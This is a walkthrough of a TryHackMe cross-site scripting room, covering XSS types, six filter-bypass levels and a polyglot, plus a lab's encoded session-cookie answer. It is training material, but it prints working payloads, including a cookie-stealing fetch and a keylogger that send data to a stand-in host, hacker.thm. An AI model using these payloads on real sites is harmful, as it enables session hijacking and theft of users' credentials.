Learn how to detect and exploit XSS vulnerabilities, giving you control of other visitor’s browsers.
https://tryhackme.com/room/xssgi
Task 1 Room Brief
Cross-Site Scripting, better known as XSS in the cybersecurity community, is classified as an injection attack where malicious JavaScript gets injected into a web application with the intention of being executed by other users. In this room, you’ll learn about the different XSS types, how to create XSS payloads, how to modify your payloads to evade filters, and then end with a Box lab where you can try out your new skills.
Cross-site scripting vulnerabilities are extremely common. Below are a few reports of XSS found in massive applications; you can get paid very well for finding and reporting these vulnerabilities.
- XSS found in Shopify
- $7,500 for XSS found in Steam chat
- $2,500 for XSS in HackerOne
- XSS found in Infogram
Answer the questions below
What does XSS stand for? Cross-site Scripting
Task 2 XSS Payloads
Proof Of Concept:
This is the simplest of payloads where all you want to do is demonstrate that you can achieve XSS on a website. This is often done by causing an alert box to pop up on the page with a string of text, for example:
<script>alert('XSS');</script>
Session Stealing:
Details of a user’s session, such as login tokens, are often kept in cookies on the targets machine. The below JavaScript takes the target’s cookie, base64 encodes the cookie to ensure successful transmission and then posts it to a website under the hacker’s control to be logged. Once the hacker has these cookies, they can take over the target’s session and be logged as that user.
<script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>
Key Logger:
The below code acts as a key logger. This means anything you type on the webpage will be forwarded to a website under the hacker’s control. This could be very damaging if the website the payload was installed on accepted user logins or credit card details.
<script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script>
Business Logic:
This payload is a lot more specific than the above examples. This would be about calling a particular network resource or a JavaScript function. For example, imagine a JavaScript function for changing the user’s email address called user.changeEmail(). Your payload could look like this:
<script>user.changeEmail('attacker@hacker.thm');</script>
Now that the email address for the account has changed, the attacker may perform a reset password attack.
The next four tasks are going to cover the different types of XSS Vulnerabilities, all requiring slightly different attack payloads and user interaction.
Answer the questions below
Which document property could contain the user’s session token?
Checking https://www.w3schools.com/js/js_htmldom_document.asp we can see the list of document properties. document.cookie is what we’re looking for since this is for session tokens.
Which JavaScript method is often used as a Proof Of Concept?
From our first example “alert”. We can use <script>alert('XSS');</script> to see if we can xss.
Task 3 Reflected XSS
Reflected XSS happens when user-supplied data in an HTTP request is included in the webpage source without any validation.
How to test for Reflected XSS:
You’ll need to test every possible point of entry; these include:
1
2
3
- Parameters in the URL Query String
- URL File Path
- Sometimes HTTP Headers (although unlikely exploitable in practice)
Once you’ve found some data which is being reflected in the web application, you’ll then need to confirm that you can successfully run your JavaScript payload; your payload will be dependent on where in the application your code is reflected (you’ll learn more about this in task 6).
Answer the questions below
Where in an URL is a good place to test for reflected XSS? Parameters.
Task 4 Stored XSS
How to test for Stored XSS:
You’ll need to test every possible point of entry where it seems data is stored and then shown back in areas that other users have access to; a small example of these could be:
- Comments on a blog
- User profile information
- Website Listings
Sometimes developers think limiting input values on the client-side is good enough protection, so changing values to something the web application wouldn’t be expecting is a good source of discovering stored XSS, for example, an age field that is expecting an integer from a dropdown menu, but instead, you manually send the request rather than using the form allowing you to try malicious payloads.
Once you’ve found some data which is being stored in the web application, you’ll then need to confirm that you can successfully run your JavaScript payload; your payload will be dependent on where in the application your code is reflected (you’ll learn more about this in task 6).
Answer the questions below
How are stored XSS payloads usually stored on a website? Usually in a database.
Task 5 DOM Based XSS
DOM = Document Object Moden and is a programming interface for HTML and XML documents. If you want to learn more about the DOM and gain a deeper understanding w3.org have a great resource.
How to test for Dom Based XSS:
DOM Based XSS can be challenging to test for and requires a certain amount of knowledge of JavaScript to read the source code. You’d need to look for parts of the code that access certain variables that an attacker can have control over, such as window.location.x parameters.
When you’ve found those bits of code, you’d then need to see how they are handled and whether the values are ever written to the web page’s DOM or passed to unsafe JavaScript methods such as eval().
Answer the questions below
What unsafe JavaScript method is good to look for in source code? eval()
Task 6 Blind XSS
Blind XSS is similar to a stored XSS (which we covered in task 4) in that your payload gets stored on the website for another user to view, but in this instance, you can’t see the payload working or be able to test it against yourself first.
Example Scenario:
A website has a contact form where you can message a member of staff. The message content doesn’t get checked for any malicious code, which allows the attacker to enter anything they wish. These messages then get turned into support tickets which staff view on a private web portal.
Potential Impact:
Using the correct payload, the attacker’s JavaScript could make calls back to an attacker’s website, revealing the staff portal URL, the staff member’s cookies, and even the contents of the portal page that is being viewed. Now the attacker could potentially hijack the staff member’s session and have access to the private portal.
How to test for Blind XSS:
When testing for Blind XSS vulnerabilities, you need to ensure your payload has a call back (usually an HTTP request). This way, you know if and when your code is being executed.
A popular tool for Blind XSS attacks is xsshunter. Although it’s possible to make your own tool in JavaScript, this tool will automatically capture cookies, URLs, page contents and more.
Answer the questions below
What tool can you use to test for Blind XSS? xsshunter
What type of XSS is very similar to Blind XSS? stored xss
Task 7 Perfecting your Payload
This task we executre XSS payloads to proceed to the next task.
Level One:
we use <script>alert('THM');</script> 
Level Two:
End the input field "><script>alert('THM');</script>
Level Three
End the textarea </textarea><script>alert('THM');</script>
Level Four
End the javascript and comment our the rest of the code ';alert('THM');//
Level Five
This has a filter we have to bypass
Original Payload: <sscriptcript>alert('THM');</sscriptcript>
Final Payload (after passing the filter): <script>alert('THM');</script>`
Level Six
Characters are filtered such as < and > we can get around this by using /images/cat.jpg" onload="alert('THM'); as a payload.
Polyglots:
An XSS polyglot is a string of text which can escape attributes, tags and bypass filters all in one. You could have used the below polyglot on all six levels you’ve just completed, and it would have executed the code successfully.
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e
Task 8 Box Example (Blind XSS)
This will only work on the Tryhackme attack box.
c3RhZmYtc2Vzc2lvbj00QUIzMDVFNTU5NTUxOTc2OTNGMDFENkY4RkQyRDMyMQ